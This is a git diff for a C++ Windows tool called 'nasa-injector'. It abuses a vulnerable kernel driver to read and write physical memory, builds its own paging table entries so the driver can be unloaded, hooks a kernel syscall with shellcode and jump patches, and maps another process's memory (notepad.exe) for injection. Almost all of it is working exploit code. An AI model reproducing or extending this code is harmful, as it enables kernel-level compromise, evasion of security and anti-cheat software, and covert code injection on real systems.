diff --git a/nasa-injector/main.cpp b/nasa-injector/main.cpp index 8edcad6..315ca4e 100644 --- a/nasa-injector/main.cpp +++ b/nasa-injector/main.cpp @@ -11,18 +11,47 @@ int __cdecl main(int argc, char** argv) return -1; } - vdm::vdm_ctx vdm; + // read physical memory using the driver... + vdm::read_phys_t _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; + + // write physical memory using the driver... + vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; + + vdm::vdm_ctx vdm(_read_phys, _write_phys); nasa::mem_ctx my_proc(vdm); - nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe")); - nasa::injector_ctx injector(&my_proc, ¬epad_proc); - // driver no longer needs to be loaded since paging tables are all setup :^) + // read physical memory via paging tables and not with the driver... + _read_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.read_phys(buffer, addr, size); + }; + + // write physical memory via paging tables and not with the driver... + _write_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.write_phys(buffer, addr, size); + }; + if (!vdm::unload_drv(drv_handle, drv_key)) { std::printf("[!] unable to unload vulnerable driver...\n"); return -1; } + vdm.set_read(_read_phys); + vdm.set_write(_write_phys); + + nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe")); + nasa::injector_ctx injector(&my_proc, ¬epad_proc); + if (!injector.init()) { std::printf("[!] failed to init injector_ctx...\n"); @@ -33,11 +62,8 @@ int __cdecl main(int argc, char** argv) reinterpret_cast( GetModuleHandleA("ntdll.dll")); - const auto ntdll_inject_addr = injector.translate(ntdll_base); - std::printf("[+] ntdll base address -> 0x%p\n", ntdll_base); - std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr); - std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr); - + const auto ntdll_base_injected = injector.translate(ntdll_base); + std::printf("[+] ntdll base -> 0x%p\n", ntdll_base_injected); std::printf("[+] press any key to close...\n"); std::getchar(); } \ No newline at end of file diff --git a/nasa-injector/mem_ctx/mem_ctx.cpp b/nasa-injector/mem_ctx/mem_ctx.cpp index ac71fc8..0f80b7d 100644 --- a/nasa-injector/mem_ctx/mem_ctx.cpp +++ b/nasa-injector/mem_ctx/mem_ctx.cpp @@ -5,8 +5,8 @@ namespace nasa mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid) : v_ctx(&v_ctx), - dirbase(get_dirbase(v_ctx, pid)), - pid(pid) + pid(pid), + dirbase(get_dirbase(v_ctx, pid)) { // find an empty pml4e inside of current processes pml4... const auto current_pml4 = @@ -67,7 +67,6 @@ namespace nasa )); PAGE_IN(this->new_pt.second, PAGE_4KB); - // get paging table entries for pt pt_entries new_pt_entries; hyperspace_entries(new_pt_entries, this->new_pt.second); @@ -373,10 +372,10 @@ namespace nasa } } - void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -384,13 +383,16 @@ namespace nasa memcpy(buffer, temp_page, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } - void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -398,7 +400,10 @@ namespace nasa memcpy(temp_page, buffer, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) diff --git a/nasa-injector/mem_ctx/mem_ctx.hpp b/nasa-injector/mem_ctx/mem_ctx.hpp index 9ac18b6..ebc17d5 100644 --- a/nasa-injector/mem_ctx/mem_ctx.hpp +++ b/nasa-injector/mem_ctx/mem_ctx.hpp @@ -7,7 +7,7 @@ namespace nasa class mem_ctx { public: - explicit mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId()); + mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId()); ~mem_ctx(); std::pair get_pte(void* addr, bool use_hyperspace = false); @@ -25,8 +25,8 @@ namespace nasa void* get_dirbase() const; static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid); - void read_phys(void* buffer, void* addr, std::size_t size); - void write_phys(void* buffer, void* addr, std::size_t size); + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); template T read_phys(void* addr) diff --git a/nasa-injector/vdm_ctx/vdm_ctx.cpp b/nasa-injector/vdm_ctx/vdm_ctx.cpp index b1fea7f..9be9a5e 100644 --- a/nasa-injector/vdm_ctx/vdm_ctx.cpp +++ b/nasa-injector/vdm_ctx/vdm_ctx.cpp @@ -2,7 +2,14 @@ namespace vdm { - vdm_ctx::vdm_ctx() + vdm_ctx::vdm_ctx + ( + std::function& read_func, + std::function& write_func + ) + : + read_phys(read_func), + write_phys(write_func) { // already found the syscall's physical page... if (vdm::syscall_address.load()) @@ -35,6 +42,16 @@ namespace vdm search_thread.join(); } + void vdm_ctx::set_read(std::function& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(std::function& write_func) + { + this->write_phys = write_func; + } + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { const auto page_data = @@ -50,7 +67,7 @@ namespace vdm if (vdm::syscall_address.load()) break; - if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; // check the first 32 bytes of the syscall, if its the same, test that its the correct @@ -82,11 +99,11 @@ namespace vdm std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... - vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); - vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } diff --git a/nasa-injector/vdm_ctx/vdm_ctx.hpp b/nasa-injector/vdm_ctx/vdm_ctx.hpp index 2bfe5da..4e3d8f3 100644 --- a/nasa-injector/vdm_ctx/vdm_ctx.hpp +++ b/nasa-injector/vdm_ctx/vdm_ctx.hpp @@ -5,6 +5,7 @@ #include #include #include +#include #include "../vdm/vdm.hpp" namespace vdm @@ -19,10 +20,21 @@ namespace vdm inline std::uint32_t nt_rva; inline std::uint8_t* dxgkrnl_buffer; + using read_phys_t = std::function; + using write_phys_t = std::function; + class vdm_ctx { public: - vdm_ctx(); + vdm_ctx + ( + std::function& read_func, + std::function& write_func + ); + + void set_read(std::function& read_func); + void set_write(std::function& write_func); + template __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const { @@ -46,12 +58,12 @@ namespace vdm std::uint8_t orig_bytes[sizeof jmp_code]; *reinterpret_cast(jmp_code + 6) = addr; - vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); // execute hook... - vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); auto result = reinterpret_cast(proc)(args ...); - vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result; @@ -109,5 +121,8 @@ namespace vdm private: void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; bool valid_syscall(void* syscall_addr) const; + + std::function read_phys; + std::function write_phys; }; } \ No newline at end of file